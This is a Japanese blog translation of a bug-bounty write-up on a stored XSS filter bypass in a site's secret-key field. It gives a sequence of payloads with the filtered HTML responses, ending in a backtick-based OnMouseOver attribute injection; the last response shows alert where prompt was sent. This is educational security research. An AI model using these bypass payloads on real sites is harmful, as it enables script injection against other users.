Shikata Ga Nai

Private? There is no such things.

Story Of a Stored XSS Bypassを訳してみた

Hello there, ('ω')ノ

 

保存された XSS バイパスの話を。

 

脆弱性:

 保存型XSS

 

記事:

 https://medium.com/@prial261/story-of-a-stored-xss-bypass-26e6659f807b

 

今回はプライベート サイトをテストしていましたが、そのサイトではユーザが

個人情報を追加でき。

そこに秘密キーという名前の入力があることに気付き。

これにより、ユーザは支払いを処理し、トランザクション情報をアプリケーションに

保存できるようになって。

 

そこで、通常のペイロードを入力して。

 

    “><img src=x onerror=prompt(document.domain)>

 

そしてそれはフィルタリングされ、ページのソースは次のようになり。

 

<input type="text" id="****" name="****" value="">&lt;img img" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">

 

したがって、ソースから私はそれを理解していて。

1.引用符 (") および大なり記号 (>) が適切にフィルタリングされず。

2.悪意のあるタグはフィルタリングされて。

 その <img> は img img になり。

 

したがって、JavaScript を実行するには 2 つの方法があり。

1 つ目は、何らかの方法で小なり (<) フィルターをバイパスし、

2 つ目は、JavaScript を実行するための悪意のある HTML 属性を追加していて。

小なり(<)文字をバイパスするために多くの方法を試しましたが、できず。

そこで、Malicious HTML Attributes を追加する 2 番目の方法で処理して。

そこで、ペイロードの下に入力して。

 

    “ OnMouseOver=prompt(1)

 

応答は次のとおりで。

 

<input type="text" id="****" name="****" value="" OnMouseOver=prompt&#40;" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">

 

そのため、HTML 属性を追加できましたが、ブラケットは適切に

フィルタリングされていて。

そこで、ペイロードの下に入力して。

 

    “ OnMouseOver=prompt`1`

 

応答は次のとおりで。

 

<input type="text" id="****" name="****" value="" OnMouseOver=prompt`1`" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">

 

しかし、コードは実行されず。

よく見てみると、ペイロードには引用符 (") が必要なだけで。

 

    “ OnMouseOver=”prompt`1`

 

応答は次のとおりで。

 

<input type="text" id="ipn_secret_keygen" name="ipn_secret_keygen" value=""OnMouseOver="alert`1`" class="form-control" rel="gp" data-size="20" data-character-set="a-z,A-Z,0-9">

 

ここで、マウス ポインタを入力上に置き、OnMouseOver イベントによって

XSS ポップアップが実行されて。

 

 

Best regards, (^^ゞ